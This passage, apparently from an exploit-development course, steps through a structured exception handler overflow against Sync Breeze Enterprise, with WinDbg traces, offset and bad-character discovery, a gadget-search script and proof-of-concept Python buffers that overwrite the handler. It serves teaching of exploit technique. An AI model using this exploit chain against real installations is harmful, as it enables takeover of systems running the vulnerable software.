770a3b13 c21400 ret 14h
Listing 109 - Disassembly of the ntdll!ExecuteHandler2 function

The first thing worth mentioning in this code (Listing 109) is that we are about to invoke a
function by executing a “call ecx” instruction. According to the call stack (shown in Listing 108),
this should call the overwritten _except_handler function (0x41414141).
Additionally, this function accepts four arguments as inferred from the four PUSH instructions
preceding the “call ecx”. This matches the _except_handler function prototype, which is repeated
below for reference:

typedef EXCEPTION_DISPOSITION _except_handler (*PEXCEPTION_ROUTINE) (


IN PEXCEPTION_RECORD ExceptionRecord,
IN VOID EstablisherFrame,
IN OUT PCONTEXT ContextRecord,
IN OUT PDISPATCHER_CONTEXT DispatcherContext
);
Listing 110 - Prototype for the _exception_handler function

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 109
Windows User Mode Exploit Development

Before verifying that the “call ecx” instruction will indeed invoke our _except_handler function, let’s
inspect the beginning of the ntdll!ExecuteHandler2 function.
We start by saving the EBP register on the stack and moving the stack pointer to EBP in order to
easily access the arguments passed to the ntdll!ExecuteHandler2 function.
This is followed by three PUSH instructions. Let’s single-step through each of them inside the
debugger in order to better understand what is happening:
0:008> t
eax=00000000 ebx=00000000 ecx=018ef4cc edx=770a3b20 esi=00000000 edi=00000000
eip=770a3adf esp=018ef458 ebp=018ef458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x3:
770a3adf ff750c push dword ptr [ebp+0Ch] ss:0023:018ef464=018eff54

0:008> !teb
TEB at 003c4000
ExceptionList: 018efe1c
StackBase: 018f0000
StackLimit: 018ee000
...

0:008> dt _EXCEPTION_REGISTRATION_RECORD 018efe1c


ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x018eff54 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x0097df5b _EXCEPTION_DISPOSITION
libpal!md5_starts+0
Listing 111 - Single stepping through the first PUSH instruction from ntdll!ExecuteHandler2

The debugger output indicates that the first PUSH instruction is responsible for pushing the Next
member of the first _EXCEPTION_REGISTRATION_RECORD structure on the stack.
0:008> t
eax=00000000 ebx=00000000 ecx=018ef4cc edx=770a3b20 esi=00000000 edi=00000000
eip=770a3ae2 esp=018ef454 ebp=018ef458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x6:
770a3ae2 52 push edx

0:008> u @edx
ntdll!ExecuteHandler2+0x44:
770a3b20 8b4c2404 mov ecx,dword ptr [esp+4]
770a3b24 f7410406000000 test dword ptr [ecx+4],6
770a3b2b b801000000 mov eax,1
770a3b30 7512 jne ntdll!ExecuteHandler2+0x68 (770a3b44)
770a3b32 8b4c2408 mov ecx,dword ptr [esp+8]
770a3b36 8b542410 mov edx,dword ptr [esp+10h]
770a3b3a 8b4108 mov eax,dword ptr [ecx+8]
770a3b3d 8902 mov dword ptr [edx],eax
Listing 112 - Single stepping through the second PUSH instruction from ntdll!ExecuteHandler2

The second PUSH instruction appears to place an offset into the ntdll!ExecuteHandler2 function
on the stack:

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 110
Windows User Mode Exploit Development

0:008> t
eax=00000000 ebx=00000000 ecx=018ef4cc edx=770a3b20 esi=00000000 edi=00000000
eip=770a3ae3 esp=018ef450 ebp=018ef458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x7:
770a3ae3 64ff3500000000 push dword ptr fs:[0] fs:003b:00000000=018efe1c

0:008> !teb
TEB at 003c4000
ExceptionList: 018efe1c
StackBase: 018f0000
StackLimit: 018ee000
Listing 113 - Single stepping through the third PUSH instruction from ntdll!ExecuteHandler2

Finally, we reach the third PUSH instruction. Listing 113 shows that we are pushing the current
thread ExceptionList onto the stack.
This is followed by a “mov dword ptr fs:[0],esp” instruction, which will overwrite the current thread
ExceptionList with the value of ESP as shown below:
0:008> t
eax=00000000 ebx=00000000 ecx=018ef4cc edx=770a3b20 esi=00000000 edi=00000000
eip=770a3aea esp=018ef44c ebp=018ef458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0xe:
770a3aea 64892500000000 mov dword ptr fs:[0],esp fs:003b:00000000=018efe1c

0:008> !teb
TEB at 003c4000
ExceptionList: 018efe1c
StackBase: 018f0000
StackLimit: 018ee000
...

0:008> t
eax=00000000 ebx=00000000 ecx=018ef4cc edx=770a3b20 esi=00000000 edi=00000000
eip=770a3af1 esp=018ef44c ebp=018ef458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x15:
770a3af1 ff7514 push dword ptr [ebp+14h] ss:0023:018ef46c=018ef4cc

0:008> !teb
TEB at 003c4000
ExceptionList: 018ef44c
StackBase: 018f0000
StackLimit: 018ee000
...

0:008> dt _EXCEPTION_REGISTRATION_RECORD 018ef44c


ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x018efe1c _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x770a3b20 _EXCEPTION_DISPOSITION
ntdll!ExecuteHandler2+0
Listing 114 - Overwriting the ExceptionList

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 111
Windows User Mode Exploit Development

The debugger output from Listing 114 confirms this.


Essentially, before pushing the parameters required for the _except_handler function and calling it,
the operating system updates ExceptionList with a new _EXCEPTION_REGISTRATION_RECORD
structure. This new _EXCEPTION_REGISTRATION_RECORD is responsible for handling
exceptions that might occur during the call to _except_handler. The function used to handle these
exceptions is placed in EDX before the call to ntdll!ExecuteHandler2.

The operating system leverages various exception handlers depending on the


function that is used to invoke the _except_handler. In our case, the handler
located at 0x770a3b20 is used to deal with exceptions that might occur during
the execution of RtlpExecuteHandlerForException.

After the execution of _except_handler (“call ecx”), the operating system restores
the original ExceptionList by removing the previously added
_EXCEPTION_REGISTRATION_RECORD. This is done by executing the two
instructions “mov esp,dword ptr fs:[0]” and “pop dword ptr fs:[0]”.

We can now proceed to single-step the remaining instructions and stop at “call ecx” to inspect the
address we are about to redirect the execution flow to:
0:008> t
eax=00000000 ebx=00000000 ecx=018ef4cc edx=770a3b20 esi=00000000 edi=00000000
eip=770a3afd esp=018ef43c ebp=018ef458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x21:
770a3afd 8b4d18 mov ecx,dword ptr [ebp+18h] ss:0023:018ef470=41414141

0:008> t
eax=00000000 ebx=00000000 ecx=41414141 edx=770a3b20 esi=00000000 edi=00000000
eip=770a3b00 esp=018ef43c ebp=018ef458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x24:
770a3b00 ffd1 call ecx {41414141}
Listing 115 - Single-stepping until the CALL ECX instruction inside the ntdll!ExecuteHandler2 function

Nice. The output from Listing 115 confirms that we have successfully identified the assembly
code that ultimately calls the _except_handler function, giving us control over the instruction
pointer.
At this point, we’ve applied the theory behind the SEH mechanism to our vulnerability. While not
immediately apparent, this will eventually be extremely helpful.

4.5.1.1 Exercises
1. Inside WinDbg, review the structured exception handlers used by the vulnerable application
before running the proof of concept.
2. Run the proof of concept and repeat the previous exercise to confirm that one of the
structured exception handlers is overwritten.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 112
Windows User Mode Exploit Development

3. After WinDbg catches the access violation, let the debugger continue, and once the
instruction pointer is pointing to the malicious buffer, try to determine which function was
called before you gained control of EIP.
4. Inside WinDbg, try to reach the last valid instruction before we gain control of the instruction
pointer.

4.5.2 Gaining Code Execution


Now that we have a good understanding of how to leverage the SEH mechanism to gain control
over the instruction pointer, let’s develop this into a fully working exploit.
During a vanilla stack overflow, the attacker overwrites a return address, and consequently the
EIP register, with the address of an instruction (like “jmp esp”) that can redirect the execution flow
to the stack, where a payload is stored.
As shown in Listing 116, this is impossible in our scenario because we do not control the stack
when we gain control of the instruction pointer.
0:007> r
eax=00000000 ebx=00000000 ecx=41414141 edx=77f16b30 esi=00000000 edi=00000000
eip=77f16b10 esp=013ff33c ebp=013ff358 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x24:
77f16b10 ffd1 call ecx {41414141}

0:007> dds esp L6


013ff33c 013ff440
013ff340 013fff54
013ff344 013ff45c
013ff348 013ff3cc
013ff34c 013ffe1c
013ff350 77f16b30 ntdll!ExecuteHandler2+0x44
Listing 116 - Showing that we do not control the stack before the call to our 0x41414141 DWORD

Based on our analysis of the SEH mechanism, we know that the moment our fake handler
function is called, the stack will contain the return address followed by the four _except_handler
arguments.
typedef EXCEPTION_DISPOSITION _except_handler (*PEXCEPTION_ROUTINE) (
IN PEXCEPTION_RECORD ExceptionRecord,
IN VOID EstablisherFrame,
IN OUT PCONTEXT ContextRecord,
IN OUT PDISPATCHER_CONTEXT DispatcherContext
);
Listing 117 - Prototype for the _exception_handler function

What interests us is the second argument (EstablisherFrame), which is a pointer to the


_EXCEPTION_REGISTRATION_RECORD structure used to handle the exception. We can confirm
this with WinDbg, as shown below:

0:007> dt _EXCEPTION_REGISTRATION_RECORD 013fff54


ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x41414141 _EXCEPTION_REGISTRATION_RECORD

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 113
Windows User Mode Exploit Development

+0x004 Handler : 0x41414141 _EXCEPTION_DISPOSITION +41414141

0:007> dd 013fff54
013fff54 41414141 41414141 41414141 41414141
013fff64 41414141 41414141 41414141 41414141
013fff74 41414141 41414141 41414141 41414141
013fff84 41414141 41414141 41414141 41414141
013fff94 41414141 41414141 41414141 41414141
013fffa4 41414141 41414141 41414141 41414141
013fffb4 41414141 41414141 41414141 41414141
013fffc4 41414141 41414141 41414141 41414141
Listing 118 - Inspecting the EstablisherFrame argument in WinDbg

According to the output from Listing 118, the second argument (EstablisherFrame) passed to the
handler function points to our controlled data on the stack. This is good news as this is the same
buffer that overwrites the _EXCEPTION_REGISTRATION_RECORD structure.
This means that in order to redirect the execution flow to our buffer, we could overwrite the
exception handler with the address of an instruction that returns into the EstablisherFrame
address on the stack.
The most common sequence of instructions used in SEH overflows to accomplish this task is
“POP R32, POP R32, RET”, in which we POP the return address and the ExceptionRecord argument
from the stack into two arbitrary registers (R32) and then execute a RET operation to return into
the EstablisherFrame.
Before searching for a POP, POP, RET (P/P/R) instruction sequence, we need to determine the
exact offset required to precisely overwrite the exception handler on the stack.
We’ll start by using msf-pattern_create to generate a unique pattern with a length of 1000
bytes. This matches the input buffer size from our initial proof of concept that triggered the crash.
kali@kali:~$ msf-pattern_create -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac
8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6A
f7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5
Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
...
Listing 119 - Creating a unique string using msf-pattern_create

We’ll replace our current inputBuffer with this unique string to help determine the exact offset of
our overflow.
...
try:
server = sys.argv[1]
port = 9121
size = 1000

inputBuffer = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8...Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
...
Listing 120 - seh_overflow_0x02.py: Determining the offset of our overflow

Running our updated proof of concept again triggers the access violation:

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 114
Windows User Mode Exploit Development

(1254.c78): Access violation - code c0000005 (first chance)


First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze
Enterprise\bin\libpal.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program
Files\Sync Breeze Enterprise\bin\libpal.dll -
eax=63413163 ebx=0155fa1c ecx=0155ff18 edx=0155f9d4 esi=0155ff18 edi=0155fb20
eip=00582a9d esp=0155f9a8 ebp=0155fec8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
libpal!SCA_ConfigObj::Deserialize+0x1d:
00582a9d ff5024 call dword ptr [eax+24h] ds:0023:63413187=????????

0:009> !exchain
0155fe1c: libpal!md5_starts+149fb (005fdf5b)
0155ff54: 33654132
Invalid exception stack at 65413165
Listing 121 - Overwritting the exception handler with our unique pattern

This time, however, the !exchain output indicates that the exception handler has been
overwritten by our unique pattern.
We’ll input this unique pattern into msf-pattern_offset to find the exact offset for our
overwrite.
kali@kali:~$ msf-pattern_offset -l 1000 -q 33654132
[*] Exact match at offset 128
Listing 122 - Using msf-pattern_offset to determine the offset of the overwrite

The output indicates that the required offset is 128 bytes.


Let’s update our proof of concept to confirm that this is the correct offset.
try:
server = sys.argv[1]
port = 9121
size = 1000

inputBuffer = b"\x41" * 128


inputBuffer+= b"\x42\x42\x42\x42"
inputBuffer+= b"\x43" * (size - len(inputBuffer))
Listing 123 - seh_overflow_0x03.py: Confirming the offset of our overflow

If our offset is correct, the above proof of concept should overwrite the target exception handler
with four 0x42 bytes.
(db4.7b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze
Enterprise\bin\libpal.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program
Files\Sync Breeze Enterprise\bin\libpal.dll -
eax=41414141 ebx=013afa1c ecx=013aff18 edx=013af9d4 esi=013aff18 edi=013afb20
eip=00582a9d esp=013af9a8 ebp=013afec8 iopl=0 nv up ei pl nz na po nc

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 115
Windows User Mode Exploit Development

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202


libpal!SCA_ConfigObj::Deserialize+0x1d:
00582a9d ff5024 call dword ptr [eax+24h] ds:0023:41414165=????????

0:007> !exchain
013afe1c: libpal!md5_starts+149fb (005fdf5b)
013aff54: 42424242
Invalid exception stack at 41414141
Listing 124 - Confirming the offset of our overflow in WinDbg

After sending our latest proof of concept and analyzing the crash in WinDbg, we confirm that we
can overwrite the exception handler with an arbitrary address (Listing 124).
Now that we are able to precisely overwrite the exception handler and we have a plan to redirect
the execution into our controlled buffer, we’re ready for the next steps of the exploit development
process.

4.5.2.1 Exercises
1. Use WinDbg to better understand the arguments passed to the _except_handler function.
2. What other assembly instruction sequences might achieve the same goal as the P/P/R
instruction sequence?
3. Update the previous proof of concept to control the DWORD that overwrites the SEH.

4.5.3 Detecting Bad Characters


Before we start searching for a suitable P/P/R instruction sequence, or generate our shellcode,
we should check for bad characters. We need to determine which bytes to avoid in the address of
the P/P/R sequence and in our shellcode.
Let’s modify our proof of concept again by adding every possible hex character to our input
buffer. We’ll immediately exclude 0x00, as the null byte is typically a bad character in stack
overflows.
try:
server = sys.argv[1]
port = 9121
size = 1000

badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d"
b"\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a"
b"\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27"
b"\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34"
b"\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41"
b"\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e"
b"\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b"
b"\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68"
b"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75"
b"\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82"
b"\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c"
b"\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9"

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 116
Windows User Mode Exploit Development

b"\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6"
b"\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3"
b"\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd"
b"\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea"
b"\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7"
b"\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

inputBuffer = b"\x41" * 128


inputBuffer+= b"\x42\x42\x42\x42"
inputBuffer+= badchars
inputBuffer+= b"\x43" * (size - len(inputBuffer))
Listing 125 - seh_overflow_0x04.py: Detecting bad characters

After running our updated proof of concept, we’ll let the application try to handle the exception
with the WinDbg g command.
(180.c54): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze
Enterprise\bin\libpal.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program
Files\Sync Breeze Enterprise\bin\libpal.dll -
eax=41414141 ebx=0132fa1c ecx=0132ff18 edx=0132f9d4 esi=0132ff18 edi=0132faa2
eip=00582a9d esp=0132f9a8 ebp=0132fec8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
libpal!SCA_ConfigObj::Deserialize+0x1d:
00582a9d ff5024 call dword ptr [eax+24h] ds:0023:41414165=????????

0:007> g
(180.c54): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=42424242 edx=77f16b30 esi=00000000 edi=00000000
eip=42424242 esp=0132f338 ebp=0132f358 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
42424242 ?? ???
Listing 126 - Letting the application handle the exception

As expected, we gain control over the instruction pointer. We can now dump the bytes (db)
pointed to by the second argument (EstablisherFrame) passed to the _except_handler function.
We can get this argument from the stack at offset 0x08 from ESP:
0:007> dds esp L5
0132f338 77f16b12 ntdll!ExecuteHandler2+0x26
0132f33c 0132f440
0132f340 0132ff54
0132f344 0132f45c
0132f348 0132f3cc

0:007> db 0132ff54
0132ff54 41 41 41 41 42 42 42 42-01 00 00 00 ec 07 5b 00 AAAABBBB......[.
0132ff64 10 3e 5b 00 28 73 a0 00-72 40 5b 00 58 cf 9f 00 .>[.(s..r@[.X...
...

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 117
Windows User Mode Exploit Development

Listing 127 - Checking the bad characters in memory using WinDbg

Inspecting the WinDbg output from Listing 127, we notice that our buffer was truncated right after
the 0x01 character, meaning that 0x02 is a bad character for our exploit.

After repeating this process several times we locate all the bad characters:
0x00, 0x02, 0x0A, 0x0D, 0xF8, 0xFD
Listing 128 - List of bad characters

Now that we know which bytes to avoid in our exploit, we’ll move on to finding a P/P/R instruction
sequence.

4.5.3.1 Exercise
1. Detect the bad characters for our exploit and confirm that the list given in this section is
indeed complete.

4.5.4 Finding a P/P/R Instruction Sequence


To redirect the execution flow to our buffer, we need to find a P/P/R instruction sequence. First,
however, we must consider the various protections that SEH overflows have to deal with.
We could attempt to examine each application module manually, but this is both tedious and time
consuming. Let’s speed things up with automated tools that check the DllCharacteristics member
of each module and provide details about the protections in place.
We’ll use the WinDbg narly114 extension, which generates a list of all loaded modules and their
respective protections. The extension is already installed on our dedicated Windows client, so
we’ll simply .load it.

0:007> .load narly


...
by Nephi Johnson (d0c_s4vage)
N for gnarly!

Available commands:

!nmod - display /SafeSEH, /GS, DEP, and ASLR info for


all loaded modules
Listing 129 - Loading narly inside WinDbg

The extension loads and immediately presents us with the available commands. In this case,
narly only supports the !nmod command. Executing !nmod outputs a list of all loaded modules
and their memory protections, as shown in Listing 130:
0:007> !nmod
00330000 003e5000 libsync /SafeSEH OFF C:\Program
Files\Sync Breeze Enterprise\bin\libsync.dll
00400000 00463000 syncbrs /SafeSEH OFF C:\Program
Files\Sync Breeze Enterprise\bin\syncbrs.exe

114
(Narly), https://code.google.com/archive/p/narly/

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 118
Windows User Mode Exploit Development

00570000 00644000 libpal /SafeSEH OFF C:\Program


Files\Sync Breeze Enterprise\bin\libpal.dll
10000000 10226000 libspp /SafeSEH OFF C:\Program
Files\Sync Breeze Enterprise\bin\libspp.dll
6cc70000 6cd09000 ODBC32 /SafeSEH ON /GS *ASLR *DEP
C:\Windows\SYSTEM32\ODBC32.dll
...
77d40000 77e74000 USER32 /SafeSEH ON /GS *ASLR *DEP
C:\Windows\system32\USER32.dll
77e80000 77ffa000 ntdll /SafeSEH ON /GS *ASLR *DEP
C:\Windows\SYSTEM32\ntdll.dll

*DEP/*ASLR means that these modules are compatible with ASLR/DEP


Listing 130 - Using narly to get memory protections of the loaded modules

The output displays “/SafeSEH OFF”, which indicates that this application and its modules are
compiled without SafeSEH. Since DEP115 and ASLR116 are not displayed, they are also disabled.

The most common way to bypass the SafeSEH protection is to leverage the POP
R32, POP R32, RET instruction sequence from a module that was compiled
without the /SAFESEH flag.

We want to make our exploit as reliable and portable117 as possible against multiple Windows
operating systems, so we will try to find a POP R32, POP R32, RET instruction sequence located
inside a module that is part of the vulnerable software. This ensures that it will be present on
every installation of the software (regardless of Windows version).
The libspp.dll application DLL is a perfect candidate. It is compiled without any protections and is
loaded in a memory range which does not contain null bytes.
In a previous module, we used the WinDbg s118 command to search for the “jmp esp” opcodes.
We could also use this to search for the P/P/R sequence, but this would be time-consuming given
the number of registers the POP instruction can use.
To speed things up, we’ll write a small script to search for a P/P/R instruction sequence. We
learned in an earlier module that we can issue actions whenever breakpoints are hit. However, we
can also leverage custom-written scripts within WinDbg.
There are two common approaches to writing WinDbg scripts. First, we could use WinDbg classic
scripts. These are normal WinDbg commands wrapped with a few control flow commands. They
use pseudo-registers and don’t have variables. Second, we could use pykd, a powerful WinDbg

115
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/memory/data-execution-prevention
116
(Michael Howard, 2006), https://blogs.msdn.microsoft.com/michael_howard/2006/05/26/address-space-layout-randomization-in-
windows-vista/
117
The portability of an exploit refers to the ability to reuse the same exploit code while attaching the vulnerable application on
different versions of the operating system (Windows 7, Windows 10, etc.)
118
(Microsoft, 2019), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/s--search-memory-

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 119
Windows User Mode Exploit Development

Python wrapper. This is typically used in more complex tools, which we’ll cover in later modules.
For this exercise, we’ll leverage a classic script.

The new version of WinDbg Preview comes with a built-in JavaScript scripting
engine. This is mainly intended for the new WinDbg Preview version and will not
be covered in this course.

Before writing our script, we’ll need to determine the specific opcodes and the address range we’ll
search.

We could also leverage mona.py for this but as of this writing, it does not work
with Python 3, which is provided on the dedicated Windows client.

Since we are going to search through libspp.dll, we’ll retrieve the start and end memory addresses
with WinDbg:
0:007> lm m libspp
Browse full module list
start end module name
10000000 10226000 libspp C (export symbols) C:\Program Files\Sync Breeze
Enterprise\bin\libspp.dll
Listing 131 - Getting the memory range of libspp.dll

Next, we must gather all possible opcodes for the POP instructions for each x86 register,
excluding the stack pointer (ESP). We will also need the opcode for the ret instruction. Let’s use
the msf-nasm_shell utility to collect this information.

We need to avoid the use of a “pop esp” instruction as it would set the stack
pointer to an arbitrary address, which would completely disrupt the stack frame.

kali@kali:~$ msf-nasm_shell
nasm > pop eax
00000000 58 pop eax

nasm > pop ebx


00000000 5B pop ebx

nasm > pop ecx


00000000 59 pop ecx

nasm > pop edx


00000000 5A pop edx

nasm > pop esi

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 120
Windows User Mode Exploit Development

00000000 5E pop esi

nasm > pop edi


00000000 5F pop edi

nasm > pop ebp


00000000 5D pop ebp

nasm > ret


00000000 C3 ret
Listing 132 - Obtaining all opcodes for the POP and RET instructions

The output indicates that the generated opcodes are arranged consecutively, from 0x58 to 0x5F.
We can use this in our script logic to create every possible POP R32 combination:
.block
{
.for (r $t0 = 0x58; $t0 < 0x5F; r $t0 = $t0 + 0x01)
{
.for (r $t1 = 0x58; $t1 < 0x5F; r $t1 = $t1 + 0x01)
{
s-[1]b 10000000 10226000 $t0 $t1 c3
}
}
}
Listing 133 - find_ppr.wds - WinDbg script to locate P/P/R instruction sequences

The script in Listing 133 starts with a .block control flow, which introduces a block of statements.
Any aliases or pseudo-registers that are changed within the block will not be updated outside of it.
We can implement the search using two .for loops. Each loop will use the t0, and t1 pseudo-
registers respectively. These pseudo-registers will be set to 0x58 and incremented by 0x01 each
time the loop runs until they reach 0x5F.
Inside the second loop, we find the s search command followed by the 1 flag, which only displays
the memory address where the opcodes are found. Next, we hardcoded the start and end
address of libspp.dll, then used our two pseudo-registers to retrieve every possible POP R32, POP
R32 instruction sequence. Finally, we added the last opcode for the RET instruction.

The script in Listing 133 is saved on the hard disk as a “.wds” file. This extension
is not necessary, although it is conventionally used by various script writers.

After saving our script to a file, we can execute it from WinDbg119 with the $>< command followed
by the path to our script, as shown below:
0:007> $><C:\Users\offsec\Desktop\find_ppr.wds
0x1015a2f0
0x100087dd
0x10008808

119
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-----------------------a---run-script-file-

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 121
Windows User Mode Exploit Development

0x1000881a
0x10008829
0x1001bb8a
0x1001bc1f
0x100491e4
...
Listing 134 - Finding P/P/R instruction sequences using the find_ppr.wds script

The script returns a list of memory addresses from the libspp.dll module. We’ll select the first
returned address (0x1015a2f0) and confirm that it points to a P/P/R instruction sequence.
0:009> u 1015a2f0 L3
libspp!pcre_exec+0x16460:
1015a2f0 58 pop eax
1015a2f1 5b pop ebx
1015a2f2 c3 ret
Listing 135 - Validate the success of the script

Good. The address points to valid sequence of instructions and does not contain bad characters.
Now that we have obtained a valid memory address for our P/P/R instruction sequence, let’s
update our proof of concept and try to overwrite the instruction pointer with it:
...
try:
server = sys.argv[1]
port = 9121
size = 1000

inputBuffer = b"\x41" * 128


inputBuffer+= pack("<L", (0x1015a2f0)) # (SEH) 0x1015a2f0 - pop eax; pop ebx; ret
inputBuffer+= b"\x43" * (size - len(inputBuffer))
...
Listing 136 - seh_overflow_0x05.py: Executing the P/P/R sequence

When we run the updated proof of concept, we again trigger the access violation:
(184c.7dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze
Enterprise\bin\libpal.dll
eax=41414141 ebx=018ffa1c ecx=018fff18 edx=018ff9d4 esi=018fff18 edi=018ffb20
eip=00922a9d esp=018ff9a8 ebp=018ffec8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
libpal!SCA_ConfigObj::Deserialize+0x1d:
00922a9d ff5024 call dword ptr [eax+24h] ds:0023:41414165=????????

0:008> !exchain
018ffe1c: libpal!md5_starts+149fb (0099df5b)
018fff54: libspp!pcre_exec+16460 (1015a2f0)
Invalid exception stack at 41414141

0:008> u 1015a2f0 L3
libspp!pcre_exec+0x16460:
1015a2f0 58 pop eax

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 122
Windows User Mode Exploit Development

1015a2f1 5b pop ebx


1015a2f2 c3 ret
Listing 137 - Overwriting the _except_handler function with our P/P/R instruction sequence

Inspecting the exception chain (Listing 137), we find that we have successfully overwritten the
structured exception handler with the memory address of our POP R32, POP R32, RET instruction
sequence.
At this point, we want to set up a software breakpoint at the address of our P/P/R sequence and
let the debugger goto handle the exception. This should redirect the execution flow and hit our
breakpoint.
0:008> bp 0x1015a2f0

0:008> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=1015a2f0 edx=77383b20 esi=00000000 edi=00000000
